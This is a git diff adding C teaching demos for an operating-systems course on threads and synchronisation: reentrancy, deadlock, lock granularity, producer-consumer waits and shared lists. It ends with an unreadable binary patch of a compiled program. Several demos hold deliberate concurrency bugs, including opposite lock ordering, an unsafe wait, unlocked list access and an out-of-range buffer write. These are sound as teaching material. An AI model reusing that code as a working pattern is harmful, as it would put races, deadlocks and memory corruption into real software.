/dev/null +++ b/courses/curs-08-demo/reentrant/reentrant.c @@ -0,0 +1,58 @@ +#include +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +#define NUM_ROUNDS 1000 +#define NUM_THREADS 100 + +#ifdef USE_REENTRANT +static void *print_time(void *arg) +{ + time_t t = time(NULL); + size_t i; + char str_time[NUM_ROUNDS][128]; + + for (i = 0; i < NUM_ROUNDS; i++) + ctime_r(&t, str_time[i]); + + for (i = 0; i < NUM_ROUNDS; i++) + printf("Thread %zd computed time %s\n", (size_t) arg, str_time[i]); + + return NULL; +} +#else +static void *print_time(void *arg) +{ + time_t t = time(NULL); + size_t i; + char *str_time[NUM_ROUNDS]; + + for (i = 0; i < NUM_ROUNDS; i++) + str_time[i] = ctime(&t); + + for (i = 0; i < NUM_ROUNDS; i++) + printf("Thread %zd computed time %s", (size_t) arg, str_time[i]); + + return NULL; +} +#endif + +int main(void) +{ + pthread_t ths[NUM_THREADS]; + size_t i; + + for (i = 0; i < NUM_THREADS; i++) + DIE(pthread_create(&ths[i], NULL, &print_time, (void *)(i+1)) != 0, "pthread_create"); + + for (i = 0; i < NUM_THREADS; i++) + DIE(pthread_join(ths[i], NULL), "pthread_join"); + + return 0; +} diff --git a/courses/curs-08-demo/shared-data/.gitignore b/courses/curs-08-demo/shared-data/.gitignore new file mode 100644 index 00000000..78f4c873 --- /dev/null +++ b/courses/curs-08-demo/shared-data/.gitignore @@ -0,0 +1,2 @@ +/process +/thread diff --git a/courses/curs-08-demo/shared-data/Makefile b/courses/curs-08-demo/shared-data/Makefile new file mode 100644 index 00000000..081a4ecc --- /dev/null +++ b/courses/curs-08-demo/shared-data/Makefile @@ -0,0 +1,19 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -Wno-unsed -Wno-unused-parameter -g +LDLIBS = -lpthread + +.PHONY: all clean + +all: process thread + +process: process.o + +process.o: process.c ../utils/utils.h + +thread: thread.o + +thread.o: thread.c ../utils/utils.h + +clean: + -rm -f *.o *~ process thread diff --git a/courses/curs-08-demo/shared-data/process.c b/courses/curs-08-demo/shared-data/process.c new file mode 100644 index 00000000..c7e8c813 --- /dev/null +++ b/courses/curs-08-demo/shared-data/process.c @@ -0,0 +1,37 @@ +#include +#include +#include +#include + +#include "utils.h" + +static int data_var = 0; + +static void inc(void) +{ + data_var++; + printf("data_var = %d\n", data_var); +} + +int main(void) +{ + int status; + pid_t pid = fork(); + + switch (pid) { + case -1: + DIE(pid, "fork"); + case 0: + /* child process */ + inc(); + break; + default: + /* parent process */ + sleep(2); + inc(); + wait(&status); + break; + } + + return 0; +} diff --git a/courses/curs-08-demo/shared-data/thread.c b/courses/curs-08-demo/shared-data/thread.c new file mode 100644 index 00000000..7a0d70ec --- /dev/null +++ b/courses/curs-08-demo/shared-data/thread.c @@ -0,0 +1,31 @@ +#include +#include +#include +#include +#include + +#include "utils.h" + +static unsigned int data_var = 0; + +static void *inc(void *arg) +{ + data_var++; + printf("data_var = %d\n", data_var); + + return NULL; +} + +int main(void) +{ + pthread_t th; + + DIE(pthread_create(&th, NULL, &inc, NULL) != 0, "pthread_create"); + + sleep(2); + inc(NULL); + + DIE(pthread_join(th, NULL), "pthread_join"); + + return 0; +} diff --git a/courses/curs-08-demo/stack-access/.gitignore b/courses/curs-08-demo/stack-access/.gitignore new file mode 100644 index 00000000..3c9d1233 --- /dev/null +++ b/courses/curs-08-demo/stack-access/.gitignore @@ -0,0 +1 @@ +/stack-access diff --git a/courses/curs-08-demo/stack-access/Makefile b/courses/curs-08-demo/stack-access/Makefile new file mode 100644 index 00000000..e0fdb391 --- /dev/null +++ b/courses/curs-08-demo/stack-access/Makefile @@ -0,0 +1,15 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -Wno-unused -Wno-unused-parameter -g +LDLIBS = -lpthread + +.PHONY: all clean + +all: stack-access + +stack-access: stack-access.o + +stack-access.o: stack-access.c ../utils/utils.h + +clean: + -rm -f *.o *~ stack-access diff --git a/courses/curs-08-demo/stack-access/stack-access.c b/courses/curs-08-demo/stack-access/stack-access.c new file mode 100644 index 00000000..d0213cab --- /dev/null +++ b/courses/curs-08-demo/stack-access/stack-access.c @@ -0,0 +1,66 @@ +#include +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +static unsigned int *stack_var_pointer; + +static void *writer(void *arg) +{ + struct timespec ts; + + printf("writer: going to sleep for 2 seconds ...\n"); + ts.tv_sec = 2; + ts.tv_nsec = 0; + nanosleep(&ts, NULL); + + printf("writer: write 0x22222222 to reader local_var (address is %p)\n", stack_var_pointer); + *stack_var_pointer = 0x22222222; + + printf("writer: end execution\n"); + return NULL; +} + +static void *reader(void *arg) +{ + unsigned int local_var = 0x11111111; + struct timespec ts; + + stack_var_pointer = &local_var; + + printf("reader: local_var is 0x%08x, local_var address is: %p\n", + local_var, &local_var); + + printf("reader: going to for 5 seconds ...\n"); + ts.tv_sec = 5; + ts.tv_nsec = 0; + nanosleep(&ts, NULL); + + printf("reader: local_var is 0x%08x\n", local_var); + + printf("reader: end execution\n"); + return NULL; +} + +int main(void) +{ + pthread_t th_reader, th_writer; + int rc; + + rc = pthread_create(&th_reader, NULL, &reader, NULL); + DIE(rc != 0, "pthread_create"); + rc = pthread_create(&th_writer, NULL, &writer, NULL); + DIE(rc != 0, "pthread_create"); + + rc = pthread_join(th_writer, NULL); + DIE(rc != 0, "pthread_join"); + rc = pthread_join(th_reader, NULL); + DIE(rc != 0, "pthread_join"); + + return 0; +} diff --git a/courses/curs-08-demo/utils/utils.h b/courses/curs-08-demo/utils/utils.h new file mode 100644 index 00000000..e7652def --- /dev/null +++ b/courses/curs-08-demo/utils/utils.h @@ -0,0 +1,25 @@ +/** + * SO, 2011 + * Lab #3, Procese + * + * Useful structures/macros + */ + +#ifndef LIN_UTILS_H_ +#define LIN_UTILS_H_ 1 + +#include +#include + +/* useful macro for handling error codes */ +#define DIE(assertion, call_description) \ + do { \ + if (assertion) { \ + fprintf(stderr, "(%s, %d): ", \ + __FILE__, __LINE__); \ + perror(call_description); \ + exit(EXIT_FAILURE); \ + } \ + } while(0) + +#endif diff --git a/courses/curs-09-demo/deadlock/.gitignore b/courses/curs-09-demo/deadlock/.gitignore new file mode 100644 index 00000000..de10b17f --- /dev/null +++ b/courses/curs-09-demo/deadlock/.gitignore @@ -0,0 +1 @@ +/deadlock diff --git a/courses/curs-09-demo/deadlock/Makefile b/courses/curs-09-demo/deadlock/Makefile new file mode 100644 index 00000000..f1390b00 --- /dev/null +++ b/courses/curs-09-demo/deadlock/Makefile @@ -0,0 +1,15 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -Wno-unused -Wno-unused-parameter -g +LDLIBS = -lpthread + +.PHONY: all clean + +all: deadlock + +deadlock: deadlock.o + +deadlock.o: deadlock.c ../utils/utils.h + +clean: + -rm -f *.o *~ deadlock diff --git a/courses/curs-09-demo/deadlock/deadlock.c b/courses/curs-09-demo/deadlock/deadlock.c new file mode 100644 index 00000000..5c1dd35f --- /dev/null +++ b/courses/curs-09-demo/deadlock/deadlock.c @@ -0,0 +1,75 @@ +/** + * Deadlock + */ +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +#define NUM_THREADS 100 + +static size_t x; +static size_t y; +static pthread_mutex_t xmutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t ymutex = PTHREAD_MUTEX_INITIALIZER; + +static void *xfirst(void *arg) +{ + size_t idx = (size_t) arg; + size_t i; + + printf("xthread %zd running\n", idx); + pthread_mutex_lock(&xmutex); + for (i = 0; i < 100000; i++) + x++; + pthread_mutex_lock(&ymutex); + for (i = 0; i < 100000; i++) + y++; + pthread_mutex_unlock(&ymutex); + pthread_mutex_unlock(&xmutex); + + return NULL; +} + +static void *yfirst(void *arg) +{ + size_t idx = (size_t) arg; + size_t i; + + printf("ythread %zd running\n", idx); + pthread_mutex_lock(&ymutex); + for (i = 0; i < 100000; i++) + y++; + pthread_mutex_lock(&xmutex); + for (i = 0; i < 100000; i++) + x++; + pthread_mutex_unlock(&xmutex); + pthread_mutex_unlock(&ymutex); + + return NULL; +} + +int main(void) +{ + pthread_t threads[2*NUM_THREADS]; + size_t i; + int rc; + + for (i = 0; i < NUM_THREADS; i++){ + rc = pthread_create(&threads[2*i], NULL, xfirst, (void *) i); + DIE(rc == -1, "pthread_create"); + rc = pthread_create(&threads[2*i+1], NULL, yfirst, (void *) i); + DIE(rc == -1, "pthread_create"); + } + + for (i = 0; i < 2*NUM_THREADS; i++){ + rc = pthread_join(threads[i], NULL); + DIE(rc == -1, "pthread_join"); + } + + return 0; +} diff --git a/courses/curs-09-demo/granularity/.gitignore b/courses/curs-09-demo/granularity/.gitignore new file mode 100644 index 00000000..509a629a --- /dev/null +++ b/courses/curs-09-demo/granularity/.gitignore @@ -0,0 +1,2 @@ +/granularity-fine +/granularity-coarse diff --git a/courses/curs-09-demo/granularity/Makefile b/courses/curs-09-demo/granularity/Makefile new file mode 100644 index 00000000..a0b1c34d --- /dev/null +++ b/courses/curs-09-demo/granularity/Makefile @@ -0,0 +1,21 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -Wno-unused -Wno-unused-parameter -g +LDLIBS = -lpthread + +.PHONY: clean + +all: granularity-fine granularity-coarse + +granularity-fine: granularity-fine.o + +granularity-fine.o: granularity.c ../utils/utils.h + $(CC) $(CFLAGS) $(CPPFLAGS) -DGRANULARITY_TYPE=2 -c -o $@ $< + +granularity-coarse: granularity-coarse.o + +granularity-coarse.o: granularity.c ../utils/utils.h + $(CC) $(CFLAGS) $(CPPFLAGS) -DGRANULARITY_TYPE=1 -c -o $@ $< + +clean: + rm -f *.o *~ granularity-fine granularity-coarse diff --git a/courses/curs-09-demo/granularity/granularity.c b/courses/curs-09-demo/granularity/granularity.c new file mode 100644 index 00000000..89604220 --- /dev/null +++ b/courses/curs-09-demo/granularity/granularity.c @@ -0,0 +1,62 @@ +/* + * Granularity + */ + +#include +#include +#include +#include + +#include "../utils/utils.h" + +#define NUM_THREADS 100 +#define INCREMENTS_PER_THREAD 100000 + +#define GRANULARITY_COARSE 1 +#define GRANULARITY_FINE 2 + +static size_t value = 0; +static pthread_mutex_t m = PTHREAD_MUTEX_INITIALIZER; + +static void *useless_work(void *arg) +{ + size_t i; + +#if GRANULARITY_TYPE == GRANULARITY_FINE + for (i = 0; i < INCREMENTS_PER_THREAD; i++) { + pthread_mutex_lock(&m); + value++; + pthread_mutex_unlock(&m); + } +#elif GRANULARITY_TYPE == GRANULARITY_COARSE + pthread_mutex_lock(&m); + for (i = 0; i < INCREMENTS_PER_THREAD; i++) { + value++; + } + pthread_mutex_unlock(&m); +#endif + + return NULL; +} + +int main(void) +{ + pthread_t threads[NUM_THREADS]; + size_t i; + int rc; + + /* Create threads. */ + for (i = 0; i < NUM_THREADS; i++) { + rc = pthread_create(&threads[i], NULL, useless_work, NULL); + DIE(rc != 0, "pthread_create"); + } + + /* Wait for threads, show termination code and close handled. */ + for (i = 0; i < NUM_THREADS; i++) { + rc = pthread_join(threads[i], NULL); + DIE(rc != 0, "pthread-join"); + } + + pthread_mutex_destroy(&m); + return 0; +} diff --git a/courses/curs-09-demo/indefinite-wait/.gitignore b/courses/curs-09-demo/indefinite-wait/.gitignore new file mode 100644 index 00000000..4c7bb532 --- /dev/null +++ b/courses/curs-09-demo/indefinite-wait/.gitignore @@ -0,0 +1 @@ +/indefinite-wait diff --git a/courses/curs-09-demo/indefinite-wait/Makefile b/courses/curs-09-demo/indefinite-wait/Makefile new file mode 100644 index 00000000..cd682b9e --- /dev/null +++ b/courses/curs-09-demo/indefinite-wait/Makefile @@ -0,0 +1,15 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -Wno-unused -Wno-unused-parameter -g +LDLIBS = -lpthread + +.PHONY: all clean + +all: indefinite-wait + +indefinite-wait: indefinite-wait.o + +indefinite-wait.o: indefinite-wait.c ../utils/utils.h + +clean: + -rm -f *.o *~ indefinite-wait diff --git a/courses/curs-09-demo/indefinite-wait/indefinite-wait.c b/courses/curs-09-demo/indefinite-wait/indefinite-wait.c new file mode 100644 index 00000000..ccf063f5 --- /dev/null +++ b/courses/curs-09-demo/indefinite-wait/indefinite-wait.c @@ -0,0 +1,91 @@ +/** + * Time of check to time of use race condition + */ +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +#define NUM_PRODUCERS 50 +#define NUM_CONSUMERS 50 + +#define NO_ITEM 0 +#define ITEM 42 +#define MAX_ITEMS 10 + +static struct { + unsigned char storage[MAX_ITEMS]; + size_t size; +} pc_buffer; + +static pthread_mutex_t pc_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_cond_t buffer_full_cond = PTHREAD_COND_INITIALIZER; +static pthread_cond_t buffer_empty_cond = PTHREAD_COND_INITIALIZER; + +static void *produce(void *arg) +{ + size_t idx = (size_t) arg; + + pthread_mutex_lock(&pc_mutex); + if (pc_buffer.size >= MAX_ITEMS) + pthread_cond_wait(&buffer_full_cond, &pc_mutex); + pc_buffer.storage[pc_buffer.size] = ITEM; + pc_buffer.size++; + printf("Producer %zu created item.\n", idx); + pthread_mutex_unlock(&pc_mutex); + + return NULL; +} + +static void *consume(void *arg) +{ + size_t idx = (size_t) arg; + + pthread_mutex_lock(&pc_mutex); + if (pc_buffer.size == 0) + pthread_cond_wait(&buffer_empty_cond, &pc_mutex); + pc_buffer.storage[pc_buffer.size] = NO_ITEM; + pc_buffer.size--; + printf("Consumer %zu removed item.\n", idx); + pthread_mutex_unlock(&pc_mutex); + + return NULL; +} + +int main(void) +{ + pthread_t p_threads[NUM_PRODUCERS]; + pthread_t c_threads[NUM_CONSUMERS]; + size_t i; + int rc; + + for (i = 0; i < NUM_PRODUCERS; i++){ + rc = pthread_create(&p_threads[i], NULL, produce, (void *) i); + DIE(rc == -1, "pthread_create"); + } + printf("Created %d producers.\n", NUM_PRODUCERS); + puts("Each producer creates one item."); + + for (i = 0; i < NUM_CONSUMERS; i++){ + rc = pthread_create(&c_threads[i], NULL, consume, (void *) i); + DIE(rc == -1, "pthread_create"); + } + printf("Created %d consumers.\n", NUM_CONSUMERS); + puts("Each producer removes one item."); + + for (i = 0; i < NUM_PRODUCERS; i++){ + rc = pthread_join(p_threads[i], NULL); + DIE(rc == -1, "pthread_join"); + } + + for (i = 0; i < NUM_CONSUMERS; i++){ + rc = pthread_join(c_threads[i], NULL); + DIE(rc == -1, "pthread_join"); + } + + return 0; +} diff --git a/courses/curs-09-demo/list-excl/.gitignore b/courses/curs-09-demo/list-excl/.gitignore new file mode 100644 index 00000000..1a9fe575 --- /dev/null +++ b/courses/curs-09-demo/list-excl/.gitignore @@ -0,0 +1,2 @@ +/thread-list-app +/thread-list-app-mutex diff --git a/courses/curs-09-demo/list-excl/Makefile b/courses/curs-09-demo/list-excl/Makefile new file mode 100644 index 00000000..5fec1b55 --- /dev/null +++ b/courses/curs-09-demo/list-excl/Makefile @@ -0,0 +1,22 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -Wno-unused -Wno-unused-parameter -g +LDLIBS = -lpthread + +.PHONY: clean + +all: thread-list-app thread-list-app-mutex + +thread-list-app-mutex: thread-list-app-mutex.o list.o + +thread-list-app-mutex.o: thread-list-app.c list.h ../utils/utils.h + $(CC) $(CPPFLAGS) $(CFLAGS) -c -o $@ $< -D USE_MUTEX + +thread-list-app: thread-list-app.o list.o + +thread-list-app.o: thread-list-app.c list.h ../utils/utils.h + +list.o: list.c ../utils/utils.h + +clean: + -rm -f *.o *~ thread-list-app thread-list-app-mutex diff --git a/courses/curs-09-demo/list-excl/list.c b/courses/curs-09-demo/list-excl/list.c new file mode 100644 index 00000000..02663b24 --- /dev/null +++ b/courses/curs-09-demo/list-excl/list.c @@ -0,0 +1,128 @@ +/* + * Integer list management functions. + */ + +#include +#include +#include + +#include "utils.h" +#include "list.h" + +static size_t list_size; + +void list_init_head(struct int_list *head) +{ + head->item = HEAD_ITEM; + head->next = head; + head->prev = head; + + list_size = 0; +} + +void list_add_item(struct int_list *head, int item) +{ + struct int_list *p; + + p = malloc(sizeof(*p)); + DIE(p == NULL, "malloc"); + p->item = item; + + p->next = head->next; + p->prev = head; + head->next->prev = p; + head->next = p; + + list_size++; +} + +void list_add_item_tail(struct int_list *head, int item) +{ + struct int_list *p; + + p = malloc(sizeof(*p)); + DIE(p == NULL, "malloc"); + p->item = item; + + p->next = head; + p->prev = head->prev; + head->prev->next = p; + head->prev = p; + + list_size++; +} + +void list_insert_item(struct int_list *head, size_t pos, int item) +{ + struct int_list *p, *place; + size_t i; + + /* + * Find place to insert item. + * If pos is greater than list size insert after head. + */ + + place = head->next; + for (i = 0; i < pos; i++) { + if (place == head) + break; + place = place->next; + } + + p = malloc(sizeof(*p)); + DIE(p == NULL, "malloc"); + p->item = item; + + p->next = place->next; + p->prev = place; + place->next->prev = p; + place->next = p; + + list_size++; +} + +void list_remove_item(struct int_list *head, size_t pos) +{ + struct int_list *p; + size_t i; + + /* Cannot remove item outside of list. */ + if (pos >= list_size) + return; + + p = head->next; + for (i = 0; i < pos; i++) { + /* Something fishy happened if head was reached. */ + if (p == head) { + fprintf(stderr, "reached head when removing. not good.\n"); + break; + } + p = p->next; + } + + p->prev->next = p->next; + p->next->prev = p->prev; + p->prev = p->next = p; + free(p); + + list_size--; +} + +int list_search_item(struct int_list *head, int item) +{ + struct int_list *p; + + for (p = head->next; p != head; p = p->next) { + if (p->item == item) + return 1; + if (p == head) + break; + } + + return 0; +} + +size_t list_get_size(struct int_list *head) +{ + return list_size; +} diff --git a/courses/curs-09-demo/list-excl/list.h b/courses/curs-09-demo/list-excl/list.h new file mode 100644 index 00000000..b3b6ffac --- /dev/null +++ b/courses/curs-09-demo/list-excl/list.h @@ -0,0 +1,24 @@ +/* + * Integer list management + */ + +#ifndef LIST_H_ +#define LIST_H_ 1 + +struct int_list { + int item; + struct int_list *next; + struct int_list *prev; +}; + +#define HEAD_ITEM 0xCCCCCCCC + +void list_init_head(struct int_list *head); +void list_add_item(struct int_list *head, int item); +void list_add_item_tail(struct int_list *head, int item); +void list_insert_item(struct int_list *head, size_t pos, int item); +void list_remove_item(struct int_list *head, size_t pos); +int list_search_item(struct int_list *head, int item); +size_t list_get_size(struct int_list *head); + +#endif diff --git a/courses/curs-09-demo/list-excl/thread-list-app.c b/courses/curs-09-demo/list-excl/thread-list-app.c new file mode 100644 index 00000000..1256f902 --- /dev/null +++ b/courses/curs-09-demo/list-excl/thread-list-app.c @@ -0,0 +1,146 @@ +/* + * Use multiple threads to modify a list. + */ + +#include +#include +#include +#include +#include +#include +#include + +#include "utils.h" +#include "list.h" + +#define NUM_THREADS 10 +#define NUM_ROUNDS 1000 +#define MAX_ITEM 65536 + +enum list_action { + ADD_ITEM, + ADD_ITEM_TAIL, + INSERT_ITEM, + REMOVE_ITEM, + SEARCH_ITEM, + NO_ACTION +}; + +/* list head (sentinel) */ +static struct int_list *head; + +#ifdef USE_MUTEX +static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; +#endif + +/* + * Each thread does NUM_ROUNDS random actions. + */ + +static void *thread_fn(void *arg) +{ + size_t i; + enum list_action action; + int item; + size_t size, pos; + + sleep(1); + + for (i = 0; i < NUM_ROUNDS; i++) { + /* Create random action. */ + action = rand() % NO_ACTION; + + switch (action) { + case ADD_ITEM: + item = rand() % MAX_ITEM; +#ifdef USE_MUTEX + pthread_mutex_lock(&mutex); +#endif + list_add_item(head, item); +#ifdef USE_MUTEX + pthread_mutex_unlock(&mutex); +#endif + break; + case ADD_ITEM_TAIL: + item = rand() % MAX_ITEM; +#ifdef USE_MUTEX + pthread_mutex_lock(&mutex); +#endif + list_add_item_tail(head, item); +#ifdef USE_MUTEX + pthread_mutex_unlock(&mutex); +#endif + break; + case INSERT_ITEM: + item = rand() % MAX_ITEM; + size = list_get_size(head); + pos = rand() % size; +#ifdef USE_MUTEX + pthread_mutex_lock(&mutex); +#endif + list_insert_item(head, pos, item); +#ifdef USE_MUTEX + pthread_mutex_unlock(&mutex); +#endif + break; + case REMOVE_ITEM: + size = list_get_size(head); + pos = rand() % size; +#ifdef USE_MUTEX + pthread_mutex_lock(&mutex); +#endif + list_remove_item(head, pos); +#ifdef USE_MUTEX + pthread_mutex_unlock(&mutex); +#endif + break; + case SEARCH_ITEM: + item = rand() % MAX_ITEM; +#ifdef USE_MUTEX + pthread_mutex_lock(&mutex); +#endif + (void) list_search_item(head, item); +#ifdef USE_MUTEX + pthread_mutex_unlock(&mutex); +#endif + break; + default: + break; + } + } + + return NULL; +} + +int main(void) +{ + pthread_t th[NUM_THREADS]; + size_t i; + int item; + int rc; + + head = malloc(sizeof(*head)); + DIE(head == NULL, "malloc"); + list_init_head(head); + + /* Initialize random seed. */ + srand(time(NULL)); + + /* Initialize list to 1024 items. */ + for (i = 0; i < 1024; i++) { + item = rand(); + list_add_item(head, item); + } + + for (i = 0; i < NUM_THREADS; i++) { + rc = pthread_create(th + i, NULL, thread_fn, NULL); + DIE(rc != 0, "pthread_create"); + } + + for (i = 0; i < NUM_THREADS; i++) { + rc = pthread_join(th[i], NULL); + DIE(rc != 0, "pthread_join"); + } + + return 0; +} diff --git a/courses/curs-09-demo/lock/Makefile b/courses/curs-09-demo/lock/Makefile new file mode 100644 index 00000000..59dc9e63 --- /dev/null +++ b/courses/curs-09-demo/lock/Makefile @@ -0,0 +1,30 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -Wno-unused -Wno-unused-parameter -fno-PIC -g +LDFLAGS = -no-pie +LDLIBS = -lpthread + +.PHONY: all clean + +all: lock lock_atomic lock_spin + +lock: lock.o + +lock.o: lock.c ../utils/utils.h + +lock_atomic: lock_atomic.o + +lock_atomic.o: lock.c ../utils/utils.h + $(CC) $(CPPFLAGS) -DUSE_ATOMIC $(CFLAGS) -c -o $@ $< + +lock_spin: lock_spin.o + $(CC) $(LDFLAGS) -static -o $@ $^ $(LDLIBS) + +lock_spin.o: lock.c ../utils/utils.h + $(CC) $(CPPFLAGS) -DUSE_SPINLOCK $(CFLAGS) -c -o $@ $< + +clean: + -rm -f *~ + -rm -f lock.o lock + -rm -f lock_atomic.o lock_atomic + -rm -f lock_spin.o lock_spin diff --git a/courses/curs-09-demo/lock/lock b/courses/curs-09-demo/lock/lock new file mode 100644 index 0000000000000000000000000000000000000000..5b688ce892f459bd60e8ab1f731bad9d7e7292ed GIT binary patch literal 16664 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 